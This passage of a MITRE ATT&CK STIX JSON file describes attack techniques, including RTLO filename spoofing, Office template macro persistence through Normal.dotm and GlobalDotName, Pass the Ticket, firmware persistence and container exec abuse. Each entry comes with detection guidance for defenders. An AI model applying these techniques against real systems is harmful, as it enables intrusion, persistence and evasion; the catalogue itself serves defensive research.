"attack-pattern", "id": "attack-pattern--77532a55-c283-4cd2-bc5d-2d0b65e9d88c", "created": "2020-06-24T16:55:46.243Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1562/007", "external_id": "T1562.007"}, {"source_name": "Expel IO Evil in AWS", "description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.", "url": "https://expel.io/blog/finding-evil-in-aws/"}, {"source_name": "Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022", "description": "Dror Alon. (2022, December 8). Compromised Cloud Compute Credentials: Case Studies From the Wild. Retrieved March 9, 2023.", "url": "https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--77eae145-55db-4519-8ae5-77b0c7215d69", "type": "attack-pattern", "created": "2020-02-10T19:55:29.385Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1036.002", "url": "https://attack.mitre.org/techniques/T1036/002"}, {"source_name": "Infosecinstitute RTLO Technique", "url": "https://resources.infosecinstitute.com/spoof-using-right-to-left-override-rtlo-technique-2/", "description": "Security Ninja. (2015, April 16). Spoof Using Right to Left Override (RTLO) Technique. Retrieved April 22, 2019."}, {"source_name": "Trend Micro PLEAD RTLO", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/", "description": "Alintanahin, K.. (2014, May 23). PLEAD Targeted Attacks Against Taiwanese Government Agencies. Retrieved April 22, 2019."}, {"source_name": "Kaspersky RTLO Cyber Crime", "url": "https://securelist.com/zero-day-vulnerability-in-telegram/83800/", "description": "Firsh, A.. (2018, February 13). Zero-day vulnerability in Telegram - Cybercriminals exploited Telegram flaw to launch multipurpose attacks. Retrieved April 22, 2019."}], "modified": "2021-10-14T21:01:59.733Z", "name": "Right-to-Left Override", "description": "Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named <code>March 25 \\u202Excod.scr</code> will display as <code>March 25 rcs.docx</code>. A JavaScript file named <code>photo_high_re\\u202Egnp.js</code> will be displayed as <code>photo_high_resj.png</code>.(Citation: Infosecinstitute RTLO Technique)\n\nAdversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. A common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious File](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Detection methods should include looking for common formats of RTLO characters within filenames such as <code>\\u202E</code>, <code>[U+202E]</code>, and <code>%E2%80%AE</code>. Defenders should also check their analysis tools to ensure they do not interpret the RTLO character and instead print the true name of the file containing it.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["File: File Metadata"]}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970", "type": "attack-pattern", "created": "2020-10-01T02:06:11.499Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1588.001", "url": "https://attack.mitre.org/techniques/T1588/001"}, {"source_name": "FireEyeSupplyChain", "description": "FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.", "url": "https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop"}], "modified": "2021-10-17T16:15:52.805Z", "name": "Malware", "description": "Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.\n\nIn addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_detection": "Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific MaaS offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Malware Repository: Malware Metadata", "Malware Repository: Malware Content"]}, {"x_mitre_platforms": ["Windows", "Linux", "macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--791481f8-e96a-41be-b089-a088763083d4", "type": "attack-pattern", "created": "2019-12-19T20:21:21.669Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1542.002", "url": "https://attack.mitre.org/techniques/T1542/002"}, {"description": "SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology (S.M.A.R.T.). Retrieved October 2, 2018.", "source_name": "SanDisk SMART"}, {"url": "https://www.smartmontools.org/", "description": "smartmontools. (n.d.). smartmontools. Retrieved October 2, 2018.", "source_name": "SmartMontools"}, {"url": "https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html", "description": "Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018.", "source_name": "ITWorld Hard Disk Health Dec 2014"}], "modified": "2022-04-01T20:43:55.632Z", "name": "Component Firmware", "description": "Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted upon other system components/devices that may not have the same capability or level of integrity checking.\n\nMalicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) disk monitoring may reveal malicious manipulations of components.(Citation: SanDisk SMART)(Citation: SmartMontools) Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms.\n\nDisk check and forensic utilities may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation.(Citation: ITWorld Hard Disk Health Dec 2014) Also consider comparing components, including hashes of component firmware and behavior, against known good images.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Firmware: Firmware Modification", "Process: OS API Execution", "Driver: Driver Metadata"], "x_mitre_defense_bypassed": ["Anti-virus", "Host intrusion prevention systems", "File monitoring"], "x_mitre_permissions_required": ["SYSTEM"], "x_mitre_system_requirements": ["Ability to update component device firmware from the host operating system."]}, {"modified": "2023-04-11T22:27:54.003Z", "name": "Indicator Removal", "description": "Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary\u2019s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.\n\nRemoval of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Brad Geesaman, @bradgeesaman", "Ed Williams, Trustwave, SpiderLabs", "Blake Strom, Microsoft 365 Defender"], "x_mitre_deprecated": false, "x_mitre_detection": "File system monitoring may be used to detect improper deletion or modification of indicator files.  Events not stored on the file system may require different detection mechanisms.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Containers", "Network", "Office 365", "Google Workspace"], "x_mitre_version": "2.1", "x_mitre_data_sources": ["Scheduled Job: Scheduled Job Modification", "File: File Modification", "Firewall: Firewall Rule Modification", "User Account: User Account Authentication", "File: File Metadata", "User Account: User Account Deletion", "Process: OS API Execution", "Application Log: Application Log Content", "Command: Command Execution", "File: File Deletion", "Process: Process Creation", "Windows Registry: Windows Registry Key Modification", "Network Traffic: Network Traffic Content", "Windows Registry: Windows Registry Key Deletion"], "x_mitre_defense_bypassed": ["Log analysis", "Host intrusion prevention systems", "Anti-virus"], "type": "attack-pattern", "id": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", "created": "2017-05-31T21:30:55.892Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1070", "external_id": "T1070"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--79a4052e-1a89-4b09-aea6-51f1d11fe19c", "type": "attack-pattern", "created": "2020-03-15T15:30:42.378Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1048.001", "url": "https://attack.mitre.org/techniques/T1048/001"}, {"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "source_name": "University of Birmingham C2"}], "modified": "2020-03-28T00:43:24.228Z", "name": "Exfiltration Over Symmetric Encrypted Non-C2 Protocol", "description": "Adversaries may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nSymmetric encryption algorithms are those that use shared or the same keys/secrets on each end of the channel. This requires an exchange or pre-arranged agreement/possession of the value used to encrypt and decrypt data. \n\nNetwork protocols that use asymmetric encryption often utilize symmetric encryption once keys are exchanged, but adversaries may opt to manually share keys and implement symmetric cryptographic algorithms (ex: RC4, AES) vice using mechanisms that are baked into a protocol. This may result in multiple layers of encryption (in protocols that are natively encrypted such as HTTPS) or encryption in protocols that not typically encrypted (such as HTTP or FTP). ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "exfiltration"}], "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2) \n\nArtifacts and evidence of symmetric key exchange may be recoverable by analyzing network traffic or looking for hard-coded values within malware. If recovered, these keys can be used to decrypt network data from command and control channels. ", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Network Traffic: Network Traffic Flow", "Network Traffic: Network Traffic Content", "Command: Command Execution", "File: File Access", "Network Traffic: Network Connection Creation"]}, {"x_mitre_platforms": ["Windows", "Office 365"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21", "type": "attack-pattern", "created": "2019-11-07T20:29:17.788Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1137.001", "url": "https://attack.mitre.org/techniques/T1137/001"}, {"url": "https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea", "description": "Microsoft. (n.d.). Change the Normal template (Normal.dotm). Retrieved July 3, 2017.", "source_name": "Microsoft Change Normal Template"}, {"url": "https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office", "description": "Austin, J. (2017, June 6). Getting Started with VBA in Office. Retrieved July 3, 2017.", "source_name": "MSDN VBA in Office"}, {"url": "https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/", "description": "Nelson, M. (2014, January 23). Maintaining Access with normal.dotm. Retrieved July 3, 2017.", "source_name": "enigma0x3 normal.dotm"}, {"url": "http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/", "description": "Hexacorn. (2017, April 17). Beyond good ol\u2019 Run key, Part 62. Retrieved July 3, 2017.", "source_name": "Hexacorn Office Template Macros"}, {"source_name": "GlobalDotName Jun 2019", "url": "https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique", "description": "Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019."}, {"source_name": "CrowdStrike Outlook Forms", "url": "https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746", "description": "Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019."}, {"source_name": "Outlook Today Home Page", "url": "https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943", "description": "Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019."}], "modified": "2021-08-16T21:27:10.873Z", "name": "Office Template Macros", "description": "Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019) \n\nWord Normal.dotm location:<br>\n<code>C:\\Users\\&lt;username&gt;\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm</code>\n\nExcel Personal.xlsb location:<br>\n<code>C:\\Users\\&lt;username&gt;\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB</code>\n\nAdversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under <code>C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\</code>, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019) \n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page) Modification to base templates, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.(Citation: GlobalDotName Jun 2019)", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["File: File Creation", "Windows Registry: Windows Registry Key Modification", "Command: Command Execution", "Process: Process Creation", "Windows Registry: Windows Registry Key Creation", "File: File Modification"], "x_mitre_permissions_required": ["User", "Administrator"]}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795", "type": "attack-pattern", "created": "2020-10-01T00:44:23.935Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1583.003", "url": "https://attack.mitre.org/techniques/T1583/003"}, {"source_name": "TrendmicroHideoutsLease", "description": "Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.", "url": "https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf"}, {"source_name": "ThreatConnect Infrastructure Dec 2020", "url": "https://threatconnect.com/blog/infrastructure-research-hunting/", "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."}, {"source_name": "Mandiant SCANdalous Jul 2020", "url": "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation", "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021."}, {"source_name": "Koczwara Beacon Hunting Sep 2021", "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2", "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021."}], "modified": "2021-10-17T15:36:59.315Z", "name": "Virtual Private Server", "description": "Adversaries may rent Virtual Private Servers (VPSs)\u00a0that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure.\n\nAcquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_detection": "Once adversaries have provisioned a VPS (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Internet Scan: Response Content", "Internet Scan: Response Metadata"]}, {"x_mitre_platforms": ["SaaS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--7ad38ef1-381a-406d-872a-38b136eb5ecc", "type": "attack-pattern", "created": "2020-02-14T13:09:51.004Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1213.001", "url": "https://attack.mitre.org/techniques/T1213/001"}, {"url": "https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html", "description": "Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.", "source_name": "Atlassian Confluence Logging"}], "modified": "2021-06-08T17:08:08.386Z", "name": "Confluence", "description": "\nAdversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "collection"}], "x_mitre_detection": "Monitor access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\n\nUser access logging within Atlassian's Confluence can be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Logon Session: Logon Session Creation", "Application Log: Application Log Content"], "x_mitre_permissions_required": ["User"]}, {"modified": "2023-03-30T21:01:38.108Z", "name": "Pass the Ticket", "description": "Adversaries may \u201cpass the ticket\u201d using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nWhen preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)\n\nA [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks)\n\nA [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014)\n\nAdversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, \"overpassing the hash\" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "lateral-movement"}], "x_mitre_contributors": ["Vincent Le Toux", "Ryan Becwar"], "x_mitre_detection": "Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.\n\nEvent ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to \"Integrity check on decrypted field failed\" and indicates misuse by a previously invalidated golden ticket.(Citation: CERT-EU Golden Ticket Protection)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["User Account: User Account Authentication", "Logon Session: Logon Session Creation", "Active Directory: Active Directory Credential Request"], "x_mitre_defense_bypassed": ["System Access Controls"], "x_mitre_system_requirements": ["Kerberos authentication enabled"], "type": "attack-pattern", "id": "attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926", "created": "2020-01-30T17:03:43.072Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1550/003", "external_id": "T1550.003"}, {"source_name": "ADSecurity AD Kerberos Attacks", "description": "Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.", "url": "https://adsecurity.org/?p=556"}, {"source_name": "GentilKiwi Pass the Ticket", "description": "Deply, B. (2014, January 13). Pass the ticket. Retrieved June 2, 2016.", "url": "http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos"}, {"source_name": "Campbell 2014", "description": "Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved December 4, 2014.", "url": "http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf"}, {"source_name": "Stealthbits Overpass-the-Hash", "description": "Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021.", "url": "https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/"}, {"source_name": "CERT-EU Golden Ticket Protection", "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.", "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0"}, {"modified": "2023-04-15T16:03:19.642Z", "name": "Container Administration Command", "description": "Adversaries may abuse a container administration service to execute commands within a container. A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.(Citation: Docker Daemon CLI)(Citation: Kubernetes API)(Citation: Kubernetes Kubelet)\n\nIn Docker, adversaries may specify an entrypoint during container deployment that executes a script or command, or they may use a command such as <code>docker exec</code> to execute a command within a running container.(Citation: Docker Entrypoint)(Citation: Docker Exec) In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as <code>kubectl exec</code>.(Citation: Kubectl Exec Get Shell)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_contributors": ["Alfredo Oliveira, Trend Micro", "David Fiser, @anu4is, Trend Micro", "Brad Geesaman, @bradgeesaman", "Center for Threat-Informed Defense (CTID)", "Magno Logan, @magnologan, Trend Micro", "Vishwas Manral, McAfee", "Yossi Weizman, Azure Defender Research Team"], "x_mitre_deprecated": false, "x_mitre_detection": "Container administration service activities and executed commands can be captured through logging of process execution with command-line arguments on the container and the underlying host. In Docker, the daemon log provides insight into events at the daemon and container service level. Kubernetes system component logs may also detect activities running in and out of containers in the cluster. ", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Containers"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Command: Command Execution", "Process: Process Creation"], "x_mitre_remote_support": true, "type": "attack-pattern", "id": "attack-pattern--7b50a1d3-4ca7-45d1-989d-a6503f04bfe1", "created": "2021-03-29T16:39:26.183Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1609", "external_id": "T1609"}, {"source_name": "Docker Exec", "description": "Docker. (n.d.). Docker Exec. Retrieved March 29, 2021.", "url": "https://docs.docker.com/engine/reference/commandline/exec/"}, {"source_name": "Docker Entrypoint", "description": "Docker. (n.d.). Docker run reference. Retrieved 